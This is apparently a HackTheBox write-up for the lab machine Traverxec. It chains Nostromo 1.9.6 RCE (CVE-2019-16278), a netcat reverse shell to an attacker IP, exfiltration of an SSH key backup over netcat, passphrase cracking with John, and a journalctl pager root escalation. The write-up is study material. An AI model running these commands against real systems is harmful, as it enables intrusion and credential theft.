Traverxec - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Traverxec is an easy Linux machine featuring a vulnerable Nostromo web server running version 1.9.6, which is susceptible to Remote Code Execution. After gaining initial foothold, enumeration of the Nostromo configuration files reveals SSH credentials stored in the user david’s home directory. A password-protected SSH private key is cracked to grant lateral movement. The privilege escalation vector comes from a bash script that executes journalctl with sudo privileges, which can be exploited via the default pager (less) to spawn a root shell.

TL;DR: Nostromo RCE → SSH key extraction & cracking → Lateral movement to david → Privilege escalation via journalctl pager exploit → Root.

Reconnaissance

Port Scanning

# Scan all ports with aggressive timing
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.165 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed scan on discovered ports
nmap -p$ports -sC -sV 10.10.10.165

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp open  http    nostromo 1.9.6

Service Enumeration

HTTP Service (Port 80):

• Web server: Nostromo 1.9.6 (nhttpd)
• Default webpage returns minimal content
• Gobuster enumeration yields no useful directories

SSH Service (Port 22):

• OpenSSH 7.9p1 running on Debian
• No immediate vulnerabilities identified

Vulnerability Assessment

Identified Vulnerabilities:

1. Nostromo 1.9.6 Remote Code Execution (CVE-2019-16278) - Critical

   • Unauthenticated RCE via directory traversal in HTTP requests
   • Allows arbitrary command execution as the www-data user

2. Insecure SSH Key Storage - High

   • Backup SSH private keys stored in publicly accessible web directory
   • Keys are password-protected but crackable

3. Privilege Escalation via journalctl - High

   • User can execute journalctl as root via sudo
   • Default pager (less) allows shell command injection

Initial Foothold

Exploitation Path

Step 1: RCE via Nostromo Vulnerability

Download and execute the public exploit for Nostromo 1.9.6:

# Test RCE with simple command
python exploit.py 10.10.10.165 80 id

# Output should show command execution as www-data user

Step 2: Reverse Shell Setup

Set up a Netcat listener on the attacker machine:

# Start listener on port 1234
nc -lvp 1234

Execute the reverse shell payload via the exploit:

# Get reverse shell back to attacker machine
python exploit.py 10.10.10.165 80 "nc -e bash 10.10.14.22 1234"

Step 3: Upgrade Shell

Spawn a proper TTY shell for better interaction:

# Upgrade shell using Python
python -c 'import pty;pty.spawn("/bin/bash")'

Alternative: Metasploit Module

# Launch Metasploit
msfconsole

# Use the Nostromo RCE module
msf > use exploit/multi/http/nostromo_code_exec
msf > set rhosts 10.10.10.165
msf > set lhost 10.10.14.20
msf > run

Privilege Escalation

Lateral Movement to David User

Step 1: Enumerate Nostromo Configuration

# Examine passwd file
cat /etc/passwd
# Reveals user 'david' exists

# Check Nostromo config location
ls -la /var/nostromo/conf/
# Find nhttpd.conf and .htpasswd files

# Review Nostromo configuration
cat /var/nostromo/conf/nhttpd.conf
# HOMEDIRS section indicates ~/public_www folders exist

Step 2: Locate SSH Keys

# Access david's public web directory
ls -al /home/david/public_www/
ls -al /home/david/public_www/protected-file-area/

# Discover backup SSH keys
# File: backup-ssh-identity-files.tgz

Step 3: Extract SSH Keys via Netcat

Attacker machine - receive the file:

nc -lvp 1234 > backup.tgz

Target machine - send the file:

nc 10.10.14.20 1234 < /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz

Extract the archive:

tar -xvf backup.tgz
# Extracts id_rsa private key and other identity files
chmod 400 id_rsa

Step 4: Crack SSH Key Passphrase

Extract the hash from the encrypted private key:

python3 /usr/share/john/ssh2john.py id_rsa > hash.txt

Crack the password using John the Ripper:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# View cracked password
john --show hash.txt
# Password: hunter

Step 5: SSH as David

ssh -i id_rsa david@10.10.10.165
# Enter passphrase: hunter

# Retrieve user flag
cat /home/david/user.txt

Root Privilege Escalation

Step 1: Discover Privileged Script

# Enumerate david's home directory
ls -la /home/david/
# Find 'bin' folder

# Review script contents
cat /home/david/bin/server-stats.sh
# Output shows: /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

Step 2: Exploit journalctl Pager

# Run the script to trigger journalctl
./server-stats.sh

# journalctl invokes the default pager (less)
# Once pager is active, execute shell commands:
!/bin/bash

# Root shell is spawned

Step 3: Retrieve Root Flag

# Read root flag
cat /root/root.txt

Attack Chain Summary

Nmap Enumeration
    ↓
Identify Nostromo 1.9.6
    ↓
CVE-2019-16278 RCE Exploitation (www-data shell)
    ↓
Enumerate /var/nostromo/conf/nhttpd.conf
    ↓
Discover SSH keys in /home/david/public_www/
    ↓
Extract & Transfer backup.tgz
    ↓
Crack id_rsa Passphrase (hunter) with John
    ↓
SSH as david User
    ↓
Find /home/david/bin/server-stats.sh
    ↓
Exploit journalctl Pager (less) via Sudo
    ↓
Root Shell & Flag

Tools Used

Key Learnings

Techniques Practiced

• Exploiting known CVEs in legacy web servers (Nostromo 1.9.6)
• Extracting and cracking SSH private keys using industry-standard tools
• Leveraging web server configuration files for credential discovery
• Exploiting pager applications (less) invoked by privileged commands
• File transfer via Netcat in restricted environments
• TTY shell upgrade techniques

Lessons Learned

1. Legacy Software Carries Risk - Nostromo 1.9.6 (released years prior) contained well-documented RCE vulnerabilities. Always audit and update outdated services.

2. Configuration File Enumeration is Critical - Web server configuration files (nhttpd.conf) often reveal sensitive directory structures and access controls.

3. Backup Files Are Attack Surfaces - SSH key backups stored in web-accessible directories defeat the purpose of restrictive file permissions.

4. Pager-Based Privilege Escalation - Commands like journalctl that invoke pagers can become privilege escalation vectors when executed with sudo.

5. Password Reuse in Passphrases - The SSH key passphrase (“hunter”) likely comes from common wordlists, emphasizing the importance of strong, unique passphrases.

6. GTFOBins Knowledge - Understanding how standard utilities (journalctl, less) can be abused is essential for identifying privilege escalation paths.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>